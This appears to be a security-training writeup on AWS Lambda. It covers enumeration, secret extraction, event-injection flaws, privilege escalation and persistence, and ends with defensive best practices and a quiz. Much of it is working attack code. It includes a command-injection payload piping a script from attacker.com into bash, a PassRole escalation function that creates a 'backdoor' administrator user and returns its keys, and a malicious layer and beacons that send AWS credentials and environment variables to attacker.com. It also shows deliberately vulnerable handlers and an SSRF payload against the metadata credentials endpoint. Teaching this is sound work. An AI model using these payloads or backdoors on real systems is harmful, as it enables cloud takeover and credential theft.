AWS Lambda Security

advanced35 minWriteup

Attacking and securing serverless functions

Learning Objectives

  • Understand Lambda security
  • Find Lambda vulnerabilities
  • Exploit Lambda functions
  • Extract secrets from Lambda

AWS Lambda is a serverless compute service that runs code without managing servers. Think of it like hiring a contractor for specific tasks instead of employing full-time staff - AWS handles all the infrastructure, you just provide the code. But this abstraction creates unique security challenges and attack opportunities.

Lambda functions often have overprivileged IAM roles (for "convenience"), store secrets in environment variables, and process untrusted input from various event sources. An attacker who compromises a Lambda function can steal credentials, access other AWS services, and potentially pivot across the entire cloud environment.

Serverless ≠ Server-Free

Lambda still runs on servers - you just don't see them. The function executes in a container with an IAM role. All traditional application vulnerabilities (injection, SSRF, etc.) still apply, plus new serverless-specific issues.

Lambda Security Architecture

1Lambda Execution Model:
2 
3┌─────────────────────────────────────────────────────────────────────┐
4│ Event Sources │
5│ API Gateway │ S3 │ SQS │ CloudWatch │ DynamoDB │ Many more... │
6└──────────────────────────────┬──────────────────────────────────────┘
7
8
9┌─────────────────────────────────────────────────────────────────────┐
10│ Lambda Function │
11├─────────────────────────────────────────────────────────────────────┤
12│ Code │ Your function code (Python, Node, Java, etc.) │
13│ Handler │ Entry point (function.handler) │
14│ Runtime │ Language runtime environment │
15│ IAM Role │ Permissions for AWS services ← ATTACK VECTOR! │
16│ Environment │ Variables (often contains secrets!) │
17│ VPC Config │ Optional network placement │
18│ Layers │ Shared code/dependencies │
19│ Timeout │ Max 15 minutes │
20│ Memory │ 128MB - 10GB │
21└─────────────────────────────────────────────────────────────────────┘
22
23
24┌─────────────────────────────────────────────────────────────────────┐
25│ Execution Environment │
26├─────────────────────────────────────────────────────────────────────┤
27│ Container with: │
28│ ├── /tmp (512MB - 10GB writable storage, persists between calls) │
29│ ├── AWS SDK pre-installed │
30│ ├── Credentials from IAM role (via environment/metadata) │
31│ └── Read-only access to function code │
32│ │
33│ Isolation: │
34│ ├── Firecracker microVM per function │
35│ ├── Network isolation │
36│ └── Ephemeral (may be reused - 606070;">#a5d6ff;">"warm start") │
37└─────────────────────────────────────────────────────────────────────┘

Lambda Enumeration

bash
1606070;"># Discovering Lambda Functions
2 
3606070;"># List all functions
4aws lambda list-functions
5 
6606070;"># Get function details
7aws lambda get-function --function-name my-function
8606070;"># Returns: Code location, configuration, tags
9 
10606070;"># Get function configuration (includes env vars!)
11aws lambda get-function-configuration --function-name my-function
12606070;"># Returns: Handler, runtime, role ARN, environment variables, VPC config
13 
14606070;"># List function versions
15aws lambda list-versions-by-function --function-name my-function
16 
17606070;"># List aliases
18aws lambda list-aliases --function-name my-function
19 
20606070;"># Get function policy (who can invoke it)
21aws lambda get-policy --function-name my-function
22 
23606070;"># List event source mappings
24aws lambda list-event-source-mappings --function-name my-function
25 
26606070;"># List layers
27aws lambda list-layers
28 
29 
30606070;"># Key Things to Look For
31─────────────────────────────────────────────────────────────────────
32606070;"># 1. Environment Variables (often contain secrets!)
33aws lambda get-function-configuration --function-name prod-api --query 606070;">#a5d6ff;">'Environment.Variables'
34 
35606070;"># Look for:
36606070;"># - Database credentials
37606070;"># - API keys
38606070;"># - AWS credentials (bad practice but common)
39606070;"># - Encryption keys
40 
41606070;"># 2. IAM Role (what can this function do?)
42aws lambda get-function-configuration --function-name prod-api --query 606070;">#a5d6ff;">'Role'
43 
44606070;"># Then check role permissions
45aws iam get-role --role-name LambdaRole
46aws iam list-attached-role-policies --role-name LambdaRole
47 
48606070;"># 3. VPC Configuration (internal network access?)
49aws lambda get-function-configuration --function-name prod-api --query 606070;">#a5d6ff;">'VpcConfig'

Extracting Secrets from Lambda

bash
1606070;"># Method 1: Environment Variables via API
2─────────────────────────────────────────────────────────────────────
3606070;"># If you have lambda:GetFunction or lambda:GetFunctionConfiguration
4 
5aws lambda get-function-configuration --function-name prod-api
6 
7606070;"># Output contains:
8{
9 606070;">#a5d6ff;">"Environment": {
10 606070;">#a5d6ff;">"Variables": {
11 606070;">#a5d6ff;">"DB_PASSWORD": "SuperSecret123",
12 606070;">#a5d6ff;">"API_KEY": "sk-xxx...",
13 606070;">#a5d6ff;">"AWS_ACCESS_KEY_ID": "AKIA...", // Very bad practice!
14 606070;">#a5d6ff;">"JWT_SECRET": "..."
15 }
16 }
17}
18 
19 
20606070;"># Method 2: Download Function Code
21─────────────────────────────────────────────────────────────────────
22606070;"># If you have lambda:GetFunction
23 
24aws lambda get-function --function-name prod-api --query 606070;">#a5d6ff;">'Code.Location' --output text
25 
26606070;"># Returns a pre-signed URL to download the deployment package
27606070;"># Download and unzip:
28curl -o function.zip 606070;">#a5d6ff;">"https://awslambda-us-east-1-tasks.s3.amazonaws.com/..."
29unzip function.zip
30 
31606070;"># Search for hardcoded secrets
32grep -r 606070;">#a5d6ff;">"password|secret|key|token" .
33grep -r 606070;">#a5d6ff;">"AKIA|ASIA" . # AWS access keys
34 
35 
36606070;"># Method 3: From Inside Lambda (if you can inject code)
37─────────────────────────────────────────────────────────────────────
38606070;"># Environment variables are accessible in code
39import os
40print(os.environ)
41 
42606070;"># Or access credentials via SDK (automatic)
43import boto3
44sts = boto3.client(606070;">#a5d6ff;">'sts')
45print(sts.get_caller_identity())
46 
47606070;"># Credentials also available at:
48606070;"># AWS_ACCESS_KEY_ID
49606070;"># AWS_SECRET_ACCESS_KEY
50606070;"># AWS_SESSION_TOKEN (temporary credentials)
51 
52 
53606070;"># Method 4: Invoke Function to Extract Secrets
54─────────────────────────────────────────────────────────────────────
55606070;"># If you have lambda:InvokeFunction and function is vulnerable
56 
57606070;"># If function reflects input or has error messages:
58aws lambda invoke --function-name prod-api --payload 606070;">#a5d6ff;">'{"cmd": "env"}' output.json
59 
60cat output.json
61606070;"># May contain environment variables in error/debug output

Environment Variables Are Not Secure

Lambda environment variables are visible to anyone with lambda:GetFunctionConfiguration permission. Never store secrets directly - use AWS Secrets Manager or Parameter Store instead.

Event Injection Attacks

python
1606070;"># Lambda Event Injection Vulnerabilities
2 
3606070;"># Lambda receives events from various sources
4606070;"># Event data is often used unsafely
5 
6606070;"># Example 1: Command Injection
7606070;"># Vulnerable Lambda function:
8import subprocess
9 
10def handler(event, context):
11 filename = event[606070;">#a5d6ff;">'filename'] # User-controlled!
12 606070;"># VULNERABLE: Unsanitized input to shell command
13 result = subprocess.run(f606070;">#a5d6ff;">'cat /tmp/{filename}', shell=True, capture_output=True)
14 return result.stdout.decode()
15 
16606070;"># Attack payload:
17{
18 606070;">#a5d6ff;">"filename": "; env"
19}
20606070;"># Executes: cat /tmp/; env
21606070;"># Returns environment variables including credentials!
22 
23606070;"># More dangerous:
24{
25 606070;">#a5d6ff;">"filename": "; curl attacker.com/shell.sh | bash"
26}
27 
28 
29606070;"># Example 2: SQL Injection
30def handler(event, context):
31 user_id = event[606070;">#a5d6ff;">'user_id'] # User-controlled!
32 606070;"># VULNERABLE: String concatenation in SQL
33 cursor.execute(f606070;">#a5d6ff;">"SELECT * FROM users WHERE id = '{user_id}'")
34 
35606070;"># Attack:
36{
37 606070;">#a5d6ff;">"user_id": "' OR '1'='1"
38}
39 
40 
41606070;"># Example 3: Path Traversal
42def handler(event, context):
43 filename = event[606070;">#a5d6ff;">'file'] # User-controlled!
44 606070;"># VULNERABLE: Path traversal
45 with open(f606070;">#a5d6ff;">'/tmp/uploads/{filename}') as f:
46 return f.read()
47 
48606070;"># Attack:
49{
50 606070;">#a5d6ff;">"file": "../../proc/self/environ"
51}
52606070;"># Reads environment variables!
53 
54 
55606070;"># Example 4: SSRF via Event
56def handler(event, context):
57 url = event[606070;">#a5d6ff;">'url'] # User-controlled!
58 response = requests.get(url) 606070;"># SSRF!
59 return response.text
60 
61606070;"># Attack:
62{
63 606070;">#a5d6ff;">"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
64}
65606070;"># Extracts IAM role credentials!
javascript
1606070;">// Node.js Lambda Injection Examples
2 
3606070;">// Command Injection
4const { execSync } = require(606070;">#a5d6ff;">'child_process');
5 
6exports.handler = async (event) => {
7 const name = event.name; 606070;">// User-controlled!
8 606070;">// VULNERABLE
9 const output = execSync(`echo Hello ${name}`);
10 return output.toString();
11};
12 
13606070;">// Attack payload:
14{
15 606070;">#a5d6ff;">"name": "; cat /proc/self/environ"
16}
17 
18 
19606070;">// Prototype Pollution (Node.js specific)
20exports.handler = async (event) => {
21 const obj = {};
22 606070;">// VULNERABLE: Unsafe merge
23 Object.assign(obj, event.data);
24 
25 606070;">// If event.data contains:
26 606070;">// {"__proto__": {"admin": true}}
27 606070;">// All objects now have admin: true
28};
29 
30 
31606070;">// Template Injection
32const ejs = require(606070;">#a5d6ff;">'ejs');
33 
34exports.handler = async (event) => {
35 const template = event.template; 606070;">// User-controlled!
36 606070;">// VULNERABLE: User-controlled template
37 return ejs.render(template, {name: 606070;">#a5d6ff;">'User'});
38};
39 
40606070;">// Attack:
41{
42 606070;">#a5d6ff;">"template": "<%= process.env %>"
43}

Lambda Privilege Escalation

bash
1606070;"># Using Lambda for Privilege Escalation
2 
3606070;"># Scenario: You have limited AWS access but can:
4606070;"># - iam:PassRole (for Lambda execution roles)
5606070;"># - lambda:CreateFunction
6606070;"># - lambda:InvokeFunction
7 
8606070;"># Step 1: Find a privileged role
9aws iam list-roles --query 606070;">#a5d6ff;">'Roles[*].[RoleName,Arn]'
10606070;"># Look for roles with admin or high privileges
11 
12606070;"># Step 2: Check if role can be assumed by Lambda
13aws iam get-role --role-name AdminRole
14606070;"># Look for "Service": "lambda.amazonaws.com" in trust policy
15 
16606070;"># Step 3: Create malicious Lambda function
17cat > privesc.py << 606070;">#a5d6ff;">'EOF'
18import boto3
19import json
20 
21def handler(event, context):
22 606070;"># This runs with AdminRole permissions!
23 
24 606070;"># Option 1: Create new admin user
25 iam = boto3.client(606070;">#a5d6ff;">'iam')
26 iam.create_user(UserName=606070;">#a5d6ff;">'backdoor')
27 iam.attach_user_policy(
28 UserName=606070;">#a5d6ff;">'backdoor',
29 PolicyArn=606070;">#a5d6ff;">'arn:aws:iam::aws:policy/AdministratorAccess'
30 )
31 keys = iam.create_access_key(UserName=606070;">#a5d6ff;">'backdoor')
32 
33 return {
34 606070;">#a5d6ff;">'statusCode': 200,
35 606070;">#a5d6ff;">'body': json.dumps({
36 606070;">#a5d6ff;">'accessKeyId': keys['AccessKey']['AccessKeyId'],
37 606070;">#a5d6ff;">'secretAccessKey': keys['AccessKey']['SecretAccessKey']
38 })
39 }
40EOF
41 
42zip privesc.zip privesc.py
43 
44606070;"># Step 4: Create the function with privileged role
45aws lambda create-function --function-name privesc --runtime python3.9 --role arn:aws:iam::123456789012:role/AdminRole --handler privesc.handler --zip-file fileb:606070;">//privesc.zip
46 
47606070;"># Step 5: Invoke to get admin credentials
48aws lambda invoke --function-name privesc output.json
49cat output.json
50606070;"># Contains admin access keys!
51 
52 
53606070;"># Alternative: Modify Existing Function
54─────────────────────────────────────────────────────────────────────
55606070;"># If you have lambda:UpdateFunctionCode
56 
57606070;"># Update existing function with malicious code
58aws lambda update-function-code --function-name existing-function --zip-file fileb:606070;">//privesc.zip
59 
60606070;"># Wait for next invocation or invoke if you have permissions
61606070;"># Function now runs malicious code with its role!

Look for Lambda in CI/CD

Lambda functions are often deployed via CI/CD pipelines. Compromising the pipeline can let you inject code into production functions with their privileged roles.

Lambda Persistence Techniques

python
1606070;"># Lambda Persistence Methods
2 
3606070;"># Method 1: Backdoor via Layers
4606070;"># Layers are shared code attached to functions
5606070;"># Malicious layer code runs before function code
6 
7606070;"># Create malicious layer:
8606070;"># layer_code/python/evil.py
9import os
10import boto3
11 
12606070;"># Runs on import (before function code)
13def exfiltrate():
14 creds = {
15 606070;">#a5d6ff;">'access_key': os.environ.get('AWS_ACCESS_KEY_ID'),
16 606070;">#a5d6ff;">'secret_key': os.environ.get('AWS_SECRET_ACCESS_KEY'),
17 606070;">#a5d6ff;">'token': os.environ.get('AWS_SESSION_TOKEN')
18 }
19 606070;"># Exfiltrate to attacker
20 import urllib.request
21 urllib.request.urlopen(
22 f606070;">#a5d6ff;">"https://attacker.com/log?data={creds}"
23 )
24 
25exfiltrate()
26 
27 
28606070;"># Method 2: Extension Backdoor
29606070;"># Lambda extensions run alongside functions
30606070;"># Can intercept events and responses
31 
32606070;"># Extension code in /opt/extensions/
33606070;"># Runs for every invocation
34 
35 
36606070;"># Method 3: /tmp Persistence
37606070;"># /tmp persists between warm starts
38606070;"># Plant files that get executed
39 
40def handler(event, context):
41 import os
42 
43 606070;"># Check if backdoor exists
44 if not os.path.exists(606070;">#a5d6ff;">'/tmp/.backdoor'):
45 606070;"># First run - create backdoor
46 with open(606070;">#a5d6ff;">'/tmp/.backdoor', 'w') as f:
47 f.write(606070;">#a5d6ff;">'#!/bin/bash\ncurl attacker.com/beacon')
48 os.chmod(606070;">#a5d6ff;">'/tmp/.backdoor', 0o755)
49 
50 606070;"># Execute backdoor on each invocation
51 os.system(606070;">#a5d6ff;">'/tmp/.backdoor')
52 
53 606070;"># Normal function code...
54 return {606070;">#a5d6ff;">'statusCode': 200}
55 
56 
57606070;"># Method 4: Modify Function to Call Attacker
58606070;"># Add code that phones home on each invocation
59 
60import urllib.request
61import json
62 
63def handler(event, context):
64 606070;"># Beacon to attacker
65 try:
66 urllib.request.urlopen(
67 606070;">#a5d6ff;">'https://attacker.com/beacon',
68 data=json.dumps({
69 606070;">#a5d6ff;">'event': str(event),
70 606070;">#a5d6ff;">'env': dict(os.environ)
71 }).encode()
72 )
73 except:
74 pass 606070;"># Fail silently
75 
76 606070;"># Original function code continues...

Lambda Security Best Practices

1Lambda Security Defenses:
2 
3IAM & Permissions
4─────────────────────────────────────────────────────────────────────
5✓ Least privilege roles (specific actions, specific resources)
6✓ Don't use AdministratorAccess or PowerUser
7✓ One role per function (not shared roles)
8✓ Use resource-based policies to restrict invocation
9✗ Don't grant iam:PassRole broadly
10 
11Secrets Management
12─────────────────────────────────────────────────────────────────────
13✓ Use Secrets Manager or Parameter Store
14✓ Encrypt environment variables with KMS
15✓ Rotate secrets automatically
16✗ Never hardcode credentials in code
17✗ Never put secrets in plain environment variables
18 
19Input Validation
20─────────────────────────────────────────────────────────────────────
21✓ Validate and sanitize all event data
22✓ Use parameterized queries (no string concatenation)
23✓ Avoid shell commands with user input
24✓ Validate URLs before fetching (prevent SSRF)
25✓ Use allowlists for file paths
26 
27Code Security
28─────────────────────────────────────────────────────────────────────
29✓ Keep dependencies updated
30✓ Scan for vulnerabilities (npm audit, pip-audit)
31✓ Use code signing (Lambda code signing)
32✓ Pin dependency versions
33✓ Review third-party layers carefully
34 
35Monitoring & Detection
36─────────────────────────────────────────────────────────────────────
37✓ Enable CloudTrail for Lambda API calls
38✓ Use CloudWatch Logs for function logs
39✓ Alert on function modifications
40✓ Monitor for unusual invocation patterns
41✓ Use AWS X-Ray for tracing
42 
43Example Secure IAM Policy:
44{
45 606070;">#a5d6ff;">"Version": "2012-10-17",
46 606070;">#a5d6ff;">"Statement": [
47 {
48 606070;">#a5d6ff;">"Effect": "Allow",
49 606070;">#a5d6ff;">"Action": "dynamodb:GetItem",
50 606070;">#a5d6ff;">"Resource": "arn:aws:dynamodb:us-east-1:123456789012:table/MyTable"
51 },
52 {
53 606070;">#a5d6ff;">"Effect": "Allow",
54 606070;">#a5d6ff;">"Action": "logs:*",
55 606070;">#a5d6ff;">"Resource": "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/my-function:*"
56 }
57 ]
58}

Lambda Attack Methodology

Lambda Security Assessment

1
Enumerate FunctionsList all Lambda functions, their configurations, IAM roles, and environment variables.
2
Extract SecretsCheck environment variables for credentials. Download function code and search for hardcoded secrets.
3
Analyze IAM RolesCheck what permissions each function's role has. Look for overprivileged roles.
4
Test for InjectionIf you can invoke functions, test for command injection, SQL injection, SSRF, and path traversal.
5
Privilege EscalationIf you have PassRole + CreateFunction, create a new function with a privileged role to escalate.
6
Establish PersistenceModify function code, add malicious layers, or create new functions for ongoing access.

Knowledge Check

Quick Quiz
Question 1 of 3

What is the primary risk of storing secrets in Lambda environment variables?

Challenges

Lambda Injection Payload

Challenge
🔥 intermediate

A Lambda function processes event data like: subprocess.run(f'convert /tmp/{event["filename"]} /tmp/output.png', shell=True). Craft a payload to extract AWS credentials.

Need a hint? (3 available)

Key Takeaways

  • Lambda environment variables are NOT secure - use Secrets Manager
  • Lambda functions inherit IAM role permissions - check for overprivilege
  • iam:PassRole + lambda:CreateFunction = privilege escalation path
  • Event data is untrusted input - validate and sanitize everything
  • /tmp persists between warm starts - can be used for persistence
  • Function code can be downloaded and analyzed for secrets